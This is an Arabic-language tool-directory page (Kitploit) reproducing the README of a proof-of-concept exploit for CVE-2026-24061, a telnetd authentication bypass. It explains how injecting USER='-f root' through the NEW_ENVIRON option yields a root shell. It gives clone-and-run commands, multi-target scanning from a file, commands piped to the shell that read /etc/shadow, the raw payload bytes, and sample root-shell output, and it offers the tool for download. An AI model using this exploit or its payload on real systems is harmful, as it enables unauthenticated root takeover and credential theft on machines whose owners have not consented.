Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24061 — إثبات المفهوم: CVE-2026-24061 هو ثغرة حرجة لتجاوز المصادقة في GNU inetutils-telnetd تسمح للمهاجمين عن بُعد غير المصادق عليهم بالحصول على وصول فوري إلى شل الجذر عبر استغلال خيار telnet الضار NEW_ENVIRON. | Kitploit
أدوات/GitHubGitHub/sh4den/cve-2026-24061
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالأمن الشبكاتاختبار الاختراقالقيادة والسيطرةالمصادقةالأوراق والأبحاثالتعلم والتعليمأداة الوصول عن بعد
GitHubsh4den/cve-2026-24061
6125منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-24061

إثبات المفهوم: CVE-2026-24061 هو ثغرة حرجة لتجاوز المصادقة في GNU inetutils-telnetd تسمح للمهاجمين عن بُعد غير المصادق عليهم بالحصول على وصول فوري إلى شل الجذر عبر استغلال خيار telnet الضار NEW_ENVIRON.

عرض المستودع

CVE-2026-24061

GNU inetutils-telnetd - تجاوز المصادقة عن بُعد

أداة بحث أمني لاستغلال CVE-2026-24061، وهي ثغرة حرجة في تجاوز المصادقة عن بُعد في GNU inetutils-telnetd تسمح بالحصول الفوري على صلاحيات shell الجذرية دون مصادقة.


جدول المحتويات

  • ملخص الثغرة
  • الإصدارات المتأثرة
  • التحليل الفني
  • المتطلبات الأساسية
  • التثبيت
  • الاستخدام
  • مرجع المخرجات
  • منهجية الاستغلال
  • التخفيف والمعالجة
  • مؤشرات الاختراق
  • إخلاء المسؤولية القانوني
  • المراجع
  • الإسناد

ملخص الثغرة

الحقلالقيمة
معرّف CVECVE-2026-24061
درجة CVSS v3.19.8 (حرجة)
متجه CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
تصنيف CWECWE-88: تحييد غير صحيح لمحددات الوسائط في أمر
البائعمشروع GNU
المنتجinetutils-telnetd
تاريخ الإفصاح20 يناير 2026
التصحيح المتاحسيُحدد لاحقًا (TBD)

الملخص التنفيذي

توجد ثغرة حرجة في GNU inetutils-telnetd حتى الإصدار 2.7 تسمح للمهاجمين عن بُعد غير المصادَق عليهم بتجاوز المصادقة بالكامل والحصول فورًا على صلاحيات shell الجذرية. تُستغل الثغرة عبر خيار telnet الجديد NEW_ENVIRON عن طريق حقن متغير بيئة USER مُصمم خصيصًا بالقيمة "-f root"، مما يتجاوز جميع آليات المصادقة.

تقييم التأثير

  • السرية: اختراق كامل لبيانات النظام
  • السلامة: سيطرة كاملة على النظام بصلاحيات الجذر
  • التوافر: احتمالية السيطرة الكاملة على النظام أو رفض الخدمة
  • النطاق: غير متغير - يؤثر الاستغلال فقط على خدمة telnet المعرضة للخطر

الإصدارات المتأثرة

نطاق الإصدارالحالة
<= 2.7معرض للخطر
> 2.7حالة التصحيح غير محددة

التحليل الفني

السبب الجذري للثغرة

تنشأ الثغرة من التحقق غير السليم من متغير البيئة USER في معالج خيار NEW_ENVIRON في telnetd. عند معالجة خيار telnet الجديد NEW_ENVIRON، تفشل خدمة telnetd في تنظيف قيمة متغير USER قبل تمريرها إلى عملية تسجيل الدخول. من خلال تعيين USER إلى "-f root"، يحقن المهاجم وسائط سطر أوامر تُجبر المصادقة على النجاح لمستخدم الجذر دون الحاجة إلى بيانات اعتماد.

ناقل الهجوم

  1. يتصل المهاجم بخدمة telnetd (عادةً المنفذ 23)
  2. أثناء التفاوض على خيارات telnet، يطلب الخادم بيانات NEW_ENVIRON
  3. يرد المهاجم بمتغير البيئة USER مضبوطًا على "-f root"
  4. تتجاوز الوسيطة الخبيثة فحوصات المصادقة
  5. يُمنح shell جذري فوري دون أي مطالبة بكلمة مرور
  6. يتحقق اختراق كامل للنظام

تعقيد الاستغلال

  • المتطلبات الأساسية: وصول شبكي إلى خدمة telnetd المستهدفة
  • المصادقة: غير مطلوبة
  • تفاعل المستخدم: لا شيء
  • تعقيد الهجوم: منخفض

المتطلبات الأساسية

متطلبات النظام

  • بايثون 3.7 أو أعلى
  • اتصال شبكي بمثيلات telnetd المستهدفة
  • صلاحيات كافية لتنفيذ نصوص بايثون

التبعيات

جميع التبعيات جزء من المكتبة القياسية للغة بايثون:

الحزمةالغرض
socketالاتصال الشبكي
selectتعدد الإرسال (I/O multiplexing)
sysالتفاعل مع النظام
osواجهة نظام التشغيل
threadingاستغلال متزامن للأهداف
datetimeتنسيق الطوابع الزمنية

التثبيت

الطريقة 1: باستخدام Git

# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061

# Run the exploit
python3 main.py -u <target_ip>

الطريقة 2: التنزيل المباشر

# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py

# Make it executable (Linux/macOS)
chmod +x main.py

# Run the exploit
python3 main.py -u <target_ip>

الطريقة 3: التثبيت اليدوي

# Ensure Python 3.7+ is installed
python3 --version

# Download and run
python3 main.py -u <target_ip>

الاستخدام

واجهة سطر الأوامر

Usage:
    python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
    python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
    echo "commands" | python3 main.py -u <target_ip>

Arguments:
    -u          Single target IP address or hostname
    -l          Path to file containing target IPs (one per line)
    -p          Target port (default: 23)
    -usr        User to exploit as (default: root)

استغلال هدف واحد

استغلال مثيل telnetd واحد:

# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100

# Custom port
python3 main.py -u 192.168.1.100 -p 2323

# Different user
python3 main.py -u 192.168.1.100 -usr admin

وضع تنفيذ الأوامر

تنفيذ الأوامر دون تفاعل:

# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100

# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100

# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100

استغلال أهداف متعددة

استغلال أهداف متعددة من ملف:

python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin

تنسيق ملف الأهداف (targets.txt):

192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com

ملاحظات:

  • هدف واحد في كل سطر
  • عناوين IP أو أسماء مضيفين
  • يتم تجاهل الأسطر الفارغة
  • يتم استغلال الأهداف بشكل متزامن باستخدام threading

مرجع المخرجات

مؤشرات الحالة

المؤشراللونالوصف
[SUCCESS]أخضرتم الاتصال بالهدف بنجاح
[EXPLOIT]أخضرتم إرسال حمولة الاستغلال بنجاح
[INFO]أزرقرسالة إعلامية حول العملية الحالية
[ERROR]أحمرفشل الاتصال أو انتهاء المهلة أو خطأ في الاستغلال
[WARNING]أصفررسالة تحذيرية (غير مستخدمة حاليًا)

نموذج للمخرجات

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass        ║
║                                                               ║
║  CVSS Score: 9.8 (Critical)                                   ║
║  Impact: Remote Authentication Bypass - Instant Root Shell    ║
║                                                               ║
║          This tool is part of the HGrab Framework.            ║
╚═══════════════════════════════════════════════════════════════╝

[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root

منهجية الاستغلال

عملية التفاوض على بروتوكول Telnet

يستغل هذا النص البرمجي مرحلة التفاوض على بروتوكول telnet:

  1. الاتصال الأولي: يتم إنشاء اتصال TCP بالمنفذ المستهدف
  2. التفاوض على الخيارات: يرسل الخادم أوامر DO/WILL لخيارات telnet المختلفة
  3. الاتفاق على TTYPE: يوافق العميل على إرسال نوع الطرفية (WILL TTYPE)
  4. الاتفاق على TSPEED: يوافق العميل على إرسال سرعة الطرفية (WILL TSPEED)
  5. الاتفاق على NEW_ENVIRON: يوافق العميل على إرسال متغيرات البيئة (WILL NEW_ENVIRON)
  6. التفاوض الفرعي: يطلب الخادم متغيرات البيئة (SB NEW_ENVIRON SEND)
  7. حقن الحمولة: يرسل العميل USER="-f root" في استجابة NEW_ENVIRON
  8. تجاوز المصادقة: يعالج الخادم متغير USER الخبيث
  9. الوصول إلى Shell: يُمنح shell جذري دون مصادقة

بنية الحمولة

# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39

payload = bytes([
    255,        # IAC
    250,        # SB
    39,         # NEW_ENVIRON
    0,          # IS
    0,          # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
    255,        # IAC
    240         # SE
])

التعامل مع الجلسة التفاعلية

تنزيل الأداة